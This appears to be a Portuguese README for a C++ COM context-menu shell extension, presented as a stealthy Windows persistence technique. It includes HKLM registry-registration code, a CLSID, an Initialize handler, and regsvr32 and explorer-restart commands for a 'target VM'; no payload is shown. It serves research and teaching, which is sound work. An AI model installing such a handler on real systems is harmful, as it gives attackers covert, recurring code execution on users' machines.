
Técnica de Persistência COM no Windows
inspirado por CVE-2026-21509
Uma implementação de exemplo de um manipulador de menu de contexto do Windows usando C++ e COM, demonstrando uma técnica furtiva de persistência. Ao registrar um objeto COM personalizado, seu código é executado sempre que um usuário clica com o botão direito em alvos específicos (arquivos, pastas ou fundos) no Windows Explorer.
Aviso: Este projeto é destinado apenas para fins educacionais e de pesquisa. As técnicas demonstradas aqui podem ser usadas para fins maliciosos. O autor não endossa o uso deste código para qualquer atividade ilegal. Seja responsável e use este conhecimento de forma ética.

DllMain.cpp
+-----------------------+
| DLL Template Project |
+-------+-------+-------+
____/ | \_____
| | |
v v v
+------------+ +----------------+ +--------------+
| Define | | MyClassFactory | | Define |
clsid_defined.h | CLSID | +----------------+ | Export | Source.def
+------------+ ClassFactory | Functions |
class +--------------+
|
|
v
+--------------+
| MyMenuHandler|
+--------------+
MyMenuHandler
class
DllMain.cppContém as funções padrão exigidas por um objeto COM para registrar e cancelar o registro da DLL.
DllRegisterServer(): Escreve os caminhos do registro correspondentes às extensões de arquivo/fundos alvo. Executado quando a DLL é registrada.STDAPI DllRegisterServer() {
std::wstring clsidString = MyStringFromCLSID(CLSID_DecrypShellExtensionx64);
std::wstring dllPath = MyGetModuleFilename();
// 1. Register the COM Class (CLSID)
std::wstring clsidBaseKey = L"SOFTWARE\\Classes\\CLSID\\" + clsidString;
SetRegistryKey(HKEY_LOCAL_MACHINE, clsidBaseKey, L"", L"MyMenuHandler Object");
// 2. Register the DLL Path and Threading Model
std::wstring inprocKey = clsidBaseKey + L"\\InprocServer32";
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"", dllPath);
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"ThreadingModel", L"Apartment");
// 3. Register for all Shell Contexts
// Array of paths to cover Files, Folders, Backgrounds, and Desktop
std::wstring handlerPaths[] = {
L"SOFTWARE\\Classes\\*\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\Background\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\DesktopBackground\\shellex\\ContextMenuHandlers\\"
};
for (const auto& path : handlerPaths) {
std::wstring fullPath = path + L"MyMenuHandler"; // Replace with your handler's name
SetRegistryKey(HKEY_LOCAL_MACHINE, fullPath, L"", clsidString);
}
// 4. Register in the Approved list (Required for many Windows versions)
std::wstring approvedKey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved";
SetRegistryKey(HKEY_LOCAL_MACHINE, approvedKey, clsidString, L"MyMenuHandler");
// 5. Notify the Shell that things have changed
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
return S_OK;
}
DllUnregisterServer(): Limpa o registro. Chamado quando a DLL é cancelada.MyClassFactoryNecessário para instanciar o objeto COM. Leia mais sobre Fábricas de Classe.
Clsid_defined.hContém o GUID sob o qual a aplicação será registrada no Explorer. Você pode gerar um novo GUID usando o guidgen.exe do Visual Studio ou um Gerador de GUID online.
// {CEF1AA1B-42F7-4A54-AF46-BCEE5B3FE6BF}
DEFINE_GUID(CLSID_DecrypShellExtensionx64, 0xcef1aa1b, 0x42f7, 0x4a54, 0xaf, 0x46, 0xbc, 0xee, 0x5b, 0x3f, 0xe6, 0xbf);
Source.defO arquivo de Definição de Módulo. Isso determina quais funções a DLL exporta. Leia mais sobre arquivos .DEF.
EXPORTS
DllGetClassObject PRIVATE
DllCanUnloadNow PRIVATE
DllRegisterServer PRIVATE
DllUnregisterServer PRIVATE
MyMenuHandler.cppA classe principal que implementa IShellExtInit e IContextMenu. É aqui que você define suas ações personalizadas.
MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
Chamada sempre que um clique direito ocorre em seu alvo registrado. Usada para analisar qual arquivo ou pasta foi clicado.HRESULT MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
{
MessageBoxA(NULL, "Initialize Called!", "Debug", MB_OK);
// 1. Check if we clicked on a FILE/FOLDER
if (pdtobj)
{
STGMEDIUM medium;
FORMATETC fe = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
if (SUCCEEDED(pdtobj->GetData(&fe, &medium)))
{
DragQueryFileA((HDROP)medium.hGlobal, 0, m_szFile, MAX_PATH);
ReleaseStgMedium(&medium);
return S_OK; // Success!
}
}
// 2. Check if we clicked the BACKGROUND (pidlFolder)
if (pidlFolder)
{
if (SHGetPathFromIDListA(pidlFolder, m_szFile))
{
return S_OK; // Success!
}
}
// 3. Fallback: If we got neither, still return S_OK to show the menu.
// You just won't have a path populated in m_szFile.
return S_OK;
}
MyContextMenuHandler::InvokeCommand(LPCMINVOKECOMMANDINFO picp)
Chamada quando o usuário clica em sua opção personalizada específica no menu de contexto. É aqui que sua carga útil de persistência ou ação personalizada é executada.Na VM de destino, copie a DLL compilada e execute os seguintes comandos:
Registre a DLL usando binários padrão do Windows.
regsvr32.exe RightHandPersistence.dll
Reinicie o processo explorer.exe para garantir que ele carregue a nova extensão de shell na memória.
taskkill /f /im explorer.exe & start explorer.exe
Para remover o manipulador de menu de contexto e limpar o registro, use a flag /u com regsvr32.exe. Isso chama sua função DllUnregisterServer.
regsvr32.exe /u RightHandPersistence.dll
O Windows categoriza "espaço vazio" de forma diferente dos arquivos. Para mirar no fundo, mapeie suas chaves de registro para esses locais específicos.
Mais detalhes sobre mapeamento de extensões podem ser encontrados na documentação de Manipuladores de Menu de Contexto do Microsoft Shell.
Você pode especificar texto personalizado para o menu (por exemplo, "Cópia Personalizada" ou "Executar Diagnóstico") implementando o método IContextMenu::QueryContextMenu. Clicar neste texto personalizado aciona sua lógica dentro de IContextMenu::InvokeCommand.
| Alvo do Clique Direito | Caminho da Chave de Registro |
|---|
| Arquivos (Todos) | HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers |
| Pastas (O ícone) | HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers |
| Fundo de Pasta | HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers |
| Fundo da Área de Trabalho | HKEY_CLASSES_ROOT\DesktopBackground\shellex\ContextMenuHandlers |